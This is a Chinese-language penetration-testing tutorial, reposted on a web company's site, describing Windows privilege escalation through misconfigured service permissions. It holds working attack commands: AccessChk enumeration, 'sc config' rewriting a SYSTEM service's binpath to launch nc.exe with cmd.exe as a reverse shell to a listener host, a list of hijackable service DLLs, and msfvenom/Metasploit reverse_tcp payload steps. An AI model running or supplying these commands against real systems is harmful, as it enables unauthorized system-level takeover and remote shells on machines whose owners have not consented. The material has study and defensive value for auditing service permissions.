在实际渗透过程中,有可能获取了该操作系统下的一个普通用户帐号权限,或者webshell权限,通过低权限用户进行越权,有可能获取系统权限;其利用原理主要是通过微软的AccessChk工具软件,配合sc来操作服务,通过服务的重启而得到权限。
创新互联公司专注于德城企业网站建设,响应式网站设计,商城网站建设。德城网站建设公司,为德城等地区提供建站服务。全流程按需定制开发,专业设计,全程项目跟踪,创新互联公司专业和态度为您提供的服务
一、AccessChk简介及使用
1. AccessChk简介
AccessChk是Sysinternals中的一个小工具,目前最新版本为6.1,新版本存在一些bug,在实际使用时会提示需要多个dll文件,在本案例中使用的是3.0版本,其官方网站下载地址:https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx
AccessChk主要用来检查用户和用户组对文件,目录,注册表项,全局对象和系统服务的权限详细情况,在实际配置过程中如果权限设置失误,则就可以被用来提权。
2. 使用AccessChk
命令行下第一次运行需要同意一个许可,如果不想出现那个提示窗口,则可以执行“accesschk.exe /accepteula”。其主要参数如下:
- usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t
这个命令分为三个部分accesschk是程序名;第一个参数有9个可选项[],部分可选项里还有可选参数;第二个参数是一个目标,这个目标可以是文件,目录,注册项,进程,服务,对象。
(1)查看用户服务,查看管理员组、users组下所有服务:
- accesschk administrators -c *
- accesschk users -c *
如图1所示,可以对某个用户进行查看,主要用来提权用,例如查看simeon用户具备读写服务器权限:
accesschk simeon -c * | find "RW" 或者accesschk simeon -cw *
图1查看指定用户的服务权限
(2)查看用户组对系统服务具备写权限,如果有则会显示,否则会提示“No matching objects found”。
- accesschk.exe -uwcqv "Authenticated Users" *
- accesschk.exe -uwcqv "Administrators" *
- accesschk.exe -uwcqv "Backup Operators" *
- accesschk.exe -uwcqv "Distributed COM Users" *
- accesschk.exe -uwcqv "Guests" *
- accesschk.exe -uwcqv "HelpServicesGroup" *
- accesschk.exe -uwcqv "IIS_WPG" *
- accesschk.exe -uwcqv "Network Configuration Operators" *
- accesschk.exe -uwcqv "Performance Monitor Users" *
- accesschk.exe -uwcqv "Performance Log Users" *
- accesschk.exe -uwcqv "Power Users" *
- accesschk.exe -uwcqv "Print Operators" *
- accesschk.exe -uwcqv "Remote Desktop Users" *
- accesschk.exe -uwcqv "Replicator" *
- accesschk.exe -uwcqv "TelnetClients" *
- accesschk.exe -uwcqv "Users" *
二、获取低权限可操作服务名称
1. 实验环境
(1)本次实验环境为Windows 2003 Sever SP3,用户simeon属于power user组,可以登录系统。
(2)IP地址:192.168.52.175
(3)监听服务IP:192.168.52.215
(4)nc.exe复制到c:\windows\temp目录
2. 获取可读写的服务
执行命令以下命令获取Power Users组可以操作的服务名称信息,如图2所示。
- accesschk.exe -uwcqv "Power Users" *
执行后显示结果如下:
- RW DcomLaunch
- SERVICE_QUERY_STATUS
- SERVICE_QUERY_CONFIG
- SERVICE_CHANGE_CONFIG
- SERVICE_INTERROGATE
- SERVICE_ENUMERATE_DEPENDENTS
- READ_CONTROL
- RW kdc
- SERVICE_QUERY_STATUS
- SERVICE_QUERY_CONFIG
- SERVICE_CHANGE_CONFIG
- SERVICE_INTERROGATE
- SERVICE_ENUMERATE_DEPENDENTS
- READ_CONTROL
图2获取可读写的服务名称信息
3. 查询服务详细信息
服务名称为“DcomLaunch”、“kdc”可以被simeon用户进行操作。使用sc qc kdc命令查询kdc服务的详细信息,如图3所示,可以看到该服务是以系统权限运行的。
图3查询kdc服务详细信息
4 .决定使用那个服务
执行命令“net start”查看系统目前已经启动的服务,也可以使用以下命令直接获取。如图4所示,在启动服务列表中发现“DCOM Server Process Launcher”服务名称。
- net start | find "DCOM Server Process Launcher"
- net start | find "Kerberos Key Distribution Center"
图4获取服务名称
5. 获取服务名称对应的服务
使用命令“tasklist /svc”,如图5所示,获取“DCOM Server Process Launcher”服务名称所对应的服务“DcomLaunch”。
图5获取DcomLaunch服务信息
三、修改服务并获取系统权限
1. 修改服务参数binpath值
使用sc命令对服务进行修改:
- sc config DcomLaunch binpath= "C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe"
如图6所示,执行命令后,显示修改服务配置成功,再次使用sc qc DcomLaunch,显示执行文件已经更改为:
- C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe
查询服务:sc qc DcomLaunch
图6修改服务binpath值
2. 启动服务
先执行 sc config DcomLaunch obj= ".\LocalSystem" password= "",然后通过命令下启动,使用“net start DcomLaunch”命令,也可以通过services.msc服务管理器重启该服务,如图7所示。
图7重新启动服务
3. 反弹获取服务器权限
如图8所示,在反弹服务器中192.168.52.215监听4433端口,成功获取来自192.168.52.175的反弹,且为系统权限。
图8反弹获取系统权限
4. 总结
在Winxp、Windows 2003、Windows 7 (32/64)下有一些dll文件也可以被替换:
- IKE and AuthIP IPsec Keying Modules (IKEEXT) – wlbsctrl.dll
- Windows Media Center Receiver Service (ehRecvr) – ehETW.dll
- Windows Media Center Scheduler Service (ehSched) – ehETW.dll
- Automatic Updates (wuauserv) – ifsproxy.dll
- Remote Desktop Help Session Manager (RDSessMgr)–SalemHook.dll
- Remote Access Connection Manager (RasMan) – ipbootp.dll
- Windows Management Instrumentation (winmgmt) – wbemcore.dll
- Audio Service (STacSV) – SFFXComm.dll SFCOM.DLL
- Intel(R) Rapid Storage Technology (IAStorDataMgrSvc) – DriverSim.dll
- Juniper Unified Network Service(JuniperAccessService) – dsLogService.dll
(1)使用msf生成exe文件
Linux msf监听4433端口
- ./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/my_payload.exe
windows下监听4433端口
- ./msfvenom -p windows/shel/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/w.exe
其中平台参数(-p)可以设置为以下的一些,也可以使用msfvenom -l payload | grep 'reverse'进行查看和选择:
- windows/shell/reverse_tcp
- windows/x64/shell_reverse_tcp
- windows/shell_reverse_tcp
- windows/shell/reverse_tcp
(2)在msf上面执行
- set payload windows/meterpreter/reverse_tcp
- show options
- set lhost 192.168.52.215
- set lport 4433
- run 0
(3)将生成的/tmp/my_payload.exe按照本文上面的方法执行后即可得到反弹的webshell
【原创稿件,合作站点转载请注明原文作者和出处为.com】
分享文章:Windows低权限进程或服务提权
文章出自:http://www.stwzsj.com/qtweb/news19/17219.html
网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联